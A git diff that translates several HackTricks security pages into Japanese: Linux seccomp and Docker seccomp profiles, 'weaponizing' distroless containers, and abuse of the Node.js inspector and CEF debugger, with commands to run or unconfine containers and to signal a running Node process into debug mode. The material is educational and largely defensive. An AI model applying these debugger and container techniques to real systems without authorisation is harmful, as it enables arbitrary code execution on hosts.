HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 -## Basic Information +## 基本情報 -**Seccomp** or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ -Seccomp has 2 modes. +**Seccomp**またはSecure Computingモードは、Linuxカーネルの**シスコールフィルタ**として機能する機能です。\ +Seccompには2つのモードがあります。 -**seccomp** (short for **secure computing mode**) is a computer security facility in the **Linux** **kernel**. seccomp allows a process to make a one-way transition into a "secure" state where **it cannot make any system calls except** `exit()`, `sigreturn()`, `read()` and `write()` to **already-open** file descriptors. Should it attempt any other system calls, the **kernel** will **terminate** the **process** with SIGKILL or SIGSYS. In this sense, it does not virtualize the system's resources but isolates the process from them entirely. +**seccomp**(セキュアコンピューティングモードの略)は、Linuxカーネルのコンピュータセキュリティ機能です。seccompは、プロセスが「セキュア」な状態に一方向で移行し、**既に開かれている**ファイルディスクリプタに対して`exit()`、`sigreturn()`、`read()`、`write()`以外のシステムコールを行うことができなくなります。他のシステムコールを試みると、カーネルはSIGKILLまたはSIGSYSでプロセスを**終了**します。この意味では、システムのリソースを仮想化するのではなく、プロセスをそれらから完全に分離します。 -seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SECCOMP` argument, or (since Linux kernel 3.17) via the `seccomp(2)` system call. seccomp mode used to be enabled by writing to a file, `/proc/self/seccomp`, but this method was removed in favor of `prctl()`. In some kernel versions, seccomp disables the `RDTSC` x86 instruction, which returns the number of elapsed processor cycles since power-on, used for high-precision timing. +seccompモードは、`prctl(2)`システムコールを使用して`PR_SET_SECCOMP`引数を介して有効にされます。または(Linuxカーネル3.17以降)`seccomp(2)`システムコールを介して有効にされます。seccompモードは、一部のカーネルバージョンでは、高精度タイミングに使用される、電源オンからの経過したプロセッササイクル数を返す`RDTSC` x86命令を無効にします。 -**seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.) +**seccomp-bpf**は、Berkeley Packet Filterルールを使用して実装された設定可能なポリシーを使用してシステムコールをフィルタリングするseccompの拡張機能です。これは、OpenSSHやvsftpd、およびChrome OSおよびLinux上のGoogle Chrome/Chromiumウェブブラウザに使用されます。(この点で、seccomp-bpfは、Linuxではもはやサポートされていないようですが、より柔軟性と高いパフォーマンスを持つ古いsystraceと同様の機能を実現します。) -### **Original/Strict Mode** +### **オリジナル/厳格モード** -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +このモードでは、Seccompは`exit()`、`sigreturn()`、`read()`、`write()`のシスコールのみを許可します。他のシスコールが行われると、プロセスはSIGKILLを使用して終了します。 {% code title="seccomp_strict.c" %} ```c @@ -41,29 +41,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; - - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); - - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); - - printf("You will not see this message--the process will be killed first\n"); +int output = open("output.txt", O_WRONLY); +const char *val = "test"; + +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); + +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); + +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); + +printf("You will not see this message--the process will be killed first\n"); } ``` -{% endcode %} - ### Seccomp-bpf -This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. +このモードでは、Berkeley Packet Filter ルールを使用して設定可能なポリシーを実装することで、システムコールのフィルタリングが可能です。 {% code title="seccomp_bpf.c" %} ```c @@ -76,115 +74,105 @@ This mode allows f**iltering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); - - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); - - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); + +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); + +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); + +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); + +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); + +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, +SCMP_A0(SCMP_CMP_NE, 1)); + +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` {% endcode %} -## Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: +## DockerにおけるSeccomp +**Seccomp-bpf**は、**Docker**でサポートされており、コンテナからの**syscalls**を制限することで、効果的に表面積を減らすことができます。デフォルトで**ブロックされるsyscalls**は[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)で見つけることができ、デフォルトのseccompプロファイルは[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。\ +異なるseccompポリシーでdockerコンテナを実行するには、以下のコマンドを使用します: ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +たとえば、`uname`のような特定の**システムコール**を実行するコンテナを**禁止**したい場合は、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)からデフォルトのプロファイルをダウンロードし、リストから`uname`の文字列を**削除**するだけです。\ +あるバイナリがDockerコンテナ内で動作しないようにするには、straceを使用してバイナリが使用しているシステムコールをリストアップし、それらを禁止します。\ +以下の例では、`uname`のシステムコールが発見されます。 ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - {% hint style="info" %} -If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +アプリケーションを起動するためにDockerを使用している場合、**`strace`**を使用してアプリケーションを**プロファイル**し、必要なシステムコールのみを許可することができます。 {% endhint %} -### Example Seccomp policy - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +### サンプルのSeccompポリシー +Seccomp機能を説明するために、以下のように「chmod」システムコールを無効にするSeccompプロファイルを作成します。 ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +上記のプロファイルでは、デフォルトのアクションを「許可」に設定し、「chmod」を無効にするためのブラックリストを作成しました。より安全にするために、デフォルトのアクションをドロップに設定し、システムコールを選択的に有効にするためのホワイトリストを作成することができます。\ +以下の出力は、seccompプロファイルで無効にされているため、「chmod」呼び出しがエラーを返すことを示しています。 ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +以下の出力は、プロファイルを表示する「docker inspect」の結果を示しています: ```json - "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ], +"SecurityOpt": [ +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +], ``` +### Dockerで無効にする -### Deactivate it in Docker +フラグ**`--security-opt seccomp=unconfined`**を使用してコンテナを起動します。 -Launch a container with the flag: **`--security-opt seccomp=unconfined`** - -As of Kubernetes 1.19, **seccomp is enabled by default for all Pods**. However, the default seccomp profile applied to the Pods is the "**RuntimeDefault**" profile, which is **provided by the container runtime** (e.g., Docker, containerd). The "RuntimeDefault" profile allows most system calls while blocking a few that are considered dangerous or not generally required by containers. +Kubernetes 1.19以降、**すべてのPodに対してseccompがデフォルトで有効**になっています。ただし、Podに適用されるデフォルトのseccompプロファイルは、コンテナランタイム(例:Docker、containerd)によって提供される「RuntimeDefault」プロファイルです。この「RuntimeDefault」プロファイルは、ほとんどのシステムコールを許可し、コンテナにとって危険または一般的に必要ではないとされるいくつかのシステムコールをブロックします。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 62e3f23f7..0528e0d22 100644 --- a/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -1,52 +1,52 @@ -# Weaponizing Distroless +# Distrolessの武器化
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## What is Distroless +## Distrolessとは -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +Distrolessコンテナは、**特定のアプリケーションを実行するために必要な依存関係のみを含む**タイプのコンテナです。不要なソフトウェアやツールは含まれておらず、**軽量**かつ**安全**であり、攻撃面を**最小限に抑える**ことを目指しています。 -Distroless containers are often used in **production environments where security and reliability are paramount**. +Distrolessコンテナは、セキュリティと信頼性が重要な**本番環境**でよく使用されます。 -Some **examples** of **distroless containers** are: +いくつかの**Distrolessコンテナ**の**例**は次のとおりです: -* Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -* Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +* **Google**が提供する:[https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +* **Chainguard**が提供する:[https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) -## Weaponizing Distroless +## Distrolessの武器化 -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +Distrolessコンテナを武器化する目的は、**制約**(システム内の一般的なバイナリの不足、`/dev/shm`での読み取り専用または実行不可など)によってもたらされる制限の中で、**任意のバイナリやペイロードを実行**できるようにすることです。 -### Through memory +### メモリを介して -Coming at some point of 2023... +2023年のある時点で実装予定... -### Via Existing binaries +### 既存のバイナリを介して #### openssl -****[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed** by the software that is going to be running inside the container. +****[**この投稿**](https://www.form3.tech/engineering/content/exploiting-distroless-images)では、**`openssl`**バイナリがこれらのコンテナで頻繁に見つかることが説明されています。これは、コンテナ内で実行されるソフトウェアによって**必要**とされるためです。 -Abusing the **`openssl`** binary is possible to **execute arbitrary stuff**. +**`openssl`**バイナリを悪用することで、**任意の内容を実行**することが可能です。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index ee1af460f..2d2343064 100644 --- a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,33 +1,32 @@ -# Node inspector/CEF debug abuse +# Node inspector/CEFデバッグの乱用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +`--inspect`スイッチで起動すると、Node.jsプロセスはデバッグクライアントを待ち受けます。**デフォルトでは**、ホストとポート**`127.0.0.1:9229`**で待ち受けます。各プロセスにはまた、**一意のUUID**が割り当てられます。 -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +インスペクタクライアントは、接続するためにホストアドレス、ポート、およびUUIDを知って指定する必要があります。完全なURLは、`ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`のようになります。 {% hint style="warning" %} -Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). +**デバッガはNode.jsの実行環境に完全なアクセス権を持っているため**、このポートに接続できる悪意のあるアクターは、Node.jsプロセスの代わりに任意のコードを実行する可能性があります(**潜在的な特権エスカレーション**)。 {% endhint %} -There are several ways to start an inspector: - +インスペクタを起動する方法はいくつかあります: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -38,60 +37,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +監査されたプロセスを開始すると、次のようなものが表示されます: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +**CEF**(**Chromium Embedded Framework**)をベースとしたプロセスは、デバッガ(SSRF保護はほぼ同じまま)を開くために`--remote-debugging-port=9222`というパラメータを使用する必要があります。ただし、これは**NodeJS**のデバッグセッションを許可する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。 -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +デバッグされたブラウザを起動すると、次のようなものが表示されます: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### ブラウザ、WebSockets、および同一生成元ポリシー -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +ウェブブラウザで開かれるウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketとHTTPリクエストを行うことができます。**一意のデバッガーセッションIDを取得するためには、最初にHTTP接続が必要**です。**同一生成元ポリシー**により、ウェブサイトは**このHTTP接続を行うことができません**。[**DNSリバインディング攻撃**](https://en.wikipedia.org/wiki/DNS\_rebinding)****に対する追加のセキュリティ対策として、Node.jsは接続のための**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを検証します。 {% hint style="info" %} -This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +この**セキュリティ対策により、インスペクターを悪用して単にHTTPリクエストを送信する**ことによるコードの実行が防止されます(これはSSRF脆弱性を悪用して行うことができます)。 {% endhint %} -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### 実行中のプロセスでインスペクターを開始する +実行中のNode.jsプロセスに**シグナルSIGUSR1**を送信すると、デフォルトのポートで**インスペクターを開始**することができます。ただし、注意点として、十分な特権が必要なため、これにより**プロセス内の情報への特権アクセス**が付与される可能性がありますが、直接的な特権昇格は行われません。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {% hint style="info" %} -This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. 